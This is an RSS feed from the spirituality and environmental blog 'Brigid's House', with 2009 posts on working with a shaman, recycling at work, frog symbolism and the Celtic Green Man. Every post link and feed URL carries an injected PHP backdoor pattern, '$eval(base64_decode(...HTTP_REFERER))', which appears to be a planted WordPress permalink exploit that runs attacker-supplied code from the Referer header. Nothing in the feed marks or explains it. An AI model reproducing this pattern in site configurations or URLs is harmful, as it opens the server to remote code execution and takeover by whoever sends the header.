Brigid's House » brigid’s house http://brigidshouse.com Center for Peace, Body and Spirit Tue, 15 May 2012 18:26:31 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Working With A Shaman http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 19 Jun 2009 21:33:49 +0000 http://brigidshouse.com/?p=249 drumsA Soulful Cure…Working with a Shaman
Since time immemorial, certain men and women have felt called to heal the sick, to safeguard knowledge, to guide the lost, and to commune with the spirit world. These unique individuals, known as shamans, were mystics and seers, repositories of wisdom, and keepers of herbal lore. During those periods when ignorance loomed large in the world, shamans across the globe bided their time, peacefully practicing their practical yet refined arts in the jungle, mountains, deserts, and tundra that protected them from those who misunderstood shamanism. Today, however, shamanism has reemerged, as modern men and women feel the same call to service that their ancestors felt long ago. Also, as more individuals explore the notion that healing necessarily involves the soul as well as the physical self, people are consulting shamans in their search for wellness, wisdom, and guidance.

The word shaman literally means “he or she who knows.” Shamanism is an art that has not changed in any quantifiable way for millennia and is not bound to any particular form of spirituality. It is grounded on the principle that the visible world is saturated with unseen forces that influence the lives of human beings. Shamans, in addition to acting as fonts of wisdom, are dedicated to diagnosing and curing human suffering?whether emotional, physical, or spiritual. To treat an illness, a shaman may communicate with the spirit world in order to connect more directly with the soul of their patient or with the force causing ill health. They often work closely with animal guides, plant and earth spirits, or your spirit guides, and may make use of use of herbal remedies to supplement other forms of treatment. Shamans, as intermediaries between the physical and spiritual realms, recognize that all objects are in manner alive and retain information that can be utilized to heal.

Shamanism is powerful in part because its practitioners tailor healing to the individual needs of those who seek them out. A shaman manipulates energy, giving you power where you have lost it and removing misplaced energy lurking within you. When you seek out a shaman, they will endeavor to know and understand you before treating you. In this way, they can provide you with therapies that act on your whole being, positively influencing your body as well as your soul.

Reprinted from the Daily Om. Click here to subscribe to Daily Om.

]]> http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Connect With Fellow Environmentalists http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 11 Jun 2009 17:04:56 +0000 http://brigidshouse.com/?p=221 In this day and age, most of us are likely to be members of Facebook, MySpace, Twitter, LinkedIn, or some other social networking site. But if you feel lost amongst the vast array of quizzes, drink requests, and invitations to a water fight, and yearn to connect with more like minded individuals, check out Sierra Club’s new social network called Climate Crossroads. On Climate Crossroads you can publicize green events, learn about global warming, share recipes and more!
Check it out at: http://climatecrossroads.sierraclub.org/index.html

]]> http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 How to Start a Recycling Program at Work http://brigidshouse.com/2009/06/09/how-to-start-a-recycling-program-at-work/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/06/09/how-to-start-a-recycling-program-at-work/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 09 Jun 2009 19:09:03 +0000 http://brigidshouse.com/?p=209

When I worked for corporate America, I was deemed (happily!) by my co-workers as the legal department ‘tree hugger’ because I picked aluminum cans out of my colleagues’ garbage cans, stash them in a box under my desk and take them home for recycling.  I even gave each of my colleagues an extra waste basket to throw their paper in and would pick it up on a on a weekly basis for recycling. 

 

As we know, most people will go along with positive change as long as they aren’t the ones who have to do all the leg work!  If you’re workplace hasn’t yet caught on to the recycling revolution, make them start now!  Take control and banish the bad habits of your workplace by following these simple steps to a more earth friendly work environment:

 

1.     Ask for volunteers to serve as the recycling coordinator.  This person must be dedicated and organized!  You may actually want to volunteer yourself, since you already have the drive to initiate a recycling program.

2.     Decide what you want to recycle. Walk around your office and take note of what items are most often used: paper, aluminum cans, batteries, light bulbs, paper, glass bottles, plastic bottles, etc. If you decide not to recycle everything, then choose what is used the most and focus on those items.

3.     Set up recycling bins and guidelines in the break room, inside the front door, or any other place where your co-workers gather to eat and drink.  Recycling Guidelines can include such things as a request to smash cans, rinse out containers, etc.

4.     Keep your co-workers involved.  Send out a weekly/bi-monthly email to let them in on the success, progress and problems with your recycling program.

On a fun note, if you can turn your aluminum cans in for cash, start an office fund that will go towards an office lunch party or happy hour.

]]> http://brigidshouse.com/2009/06/09/how-to-start-a-recycling-program-at-work/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 The Song of the Frogs http://brigidshouse.com/2009/05/24/the-song-of-the-frogs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/05/24/the-song-of-the-frogs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sun, 24 May 2009 16:42:22 +0000 http://brigidshouse.com/?p=147 I live on the Fish Hook River here in Park Rapids and the frogs have just started singing! Wow, what a sound. It is constant, a hum that holds the space of the evening. Frogs are about transformation through water and sound. Certainly their sound is something we can journey into. For me, it is like a chant, lulling me into the otherworld. The book Animal-Speak states that “frogs have been known to be heralds of abundance and fertility”. In this time of deep recession, perhaps we need to be working with frog. And in also working with water, the emotions, we should look at our emotions around abundance in our life.

Move into the sound of the frog with your mind and let it permeate your being, merge with it. Hold the intention for abundance in your life. Ask frog to help you recognize the abundance you already have in your life and how you can open to the flow of abundance. We give thanks to frog for its wisdom.

May the song of nature enfold you today,
Jeanne

]]> http://brigidshouse.com/2009/05/24/the-song-of-the-frogs/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 The Green Man by Jeanne Troge http://brigidshouse.com/2009/05/21/the-green-man-by-jeanne-troge/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brigidshouse.com/2009/05/21/the-green-man-by-jeanne-troge/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 21 May 2009 03:26:14 +0000 http://brigidshouse.com/?p=121 The Green Man is speaking to me again! In Celtic belief the Green Man is the Spirit of Nature, the Spirit of the woods. Wildness and passion are a part of the Green Man’s character. I’m sure you’ve seen representations of him as a face of a man covered with leaves.

For me his presence was strong about 10 years ago in my life. Now, he has resurfaced. Perhaps it is because it is spring, or he is returning because the world is now asking us to live green. For whatever reason, he is returning and he’s connecting with my heart.

He was reignited in me at the Celtic Shamanism training on the Druid Wisdom Tales with Tom Cowan. I feel he is challenging me to look at my own wildness (or unwildness) and passion. So many times I find myself living the same life day in and day out. He asks me to connect with the wildness within my heart, and ignite that passion that is in my heart and live fully alive! When I look at the forests, the trees now budding out and flowers blooming, I am captured by the glory of nature in all of its becoming! Such fertility and beauty!

Let us look today at our own lives and see if we can bring more wildness and passion into our lives so that we can “become” and feel that nature connection of fertility, creation, wildness, passion and beauty! Awesome!

May the Green Man visit your heart today,
Jeanne

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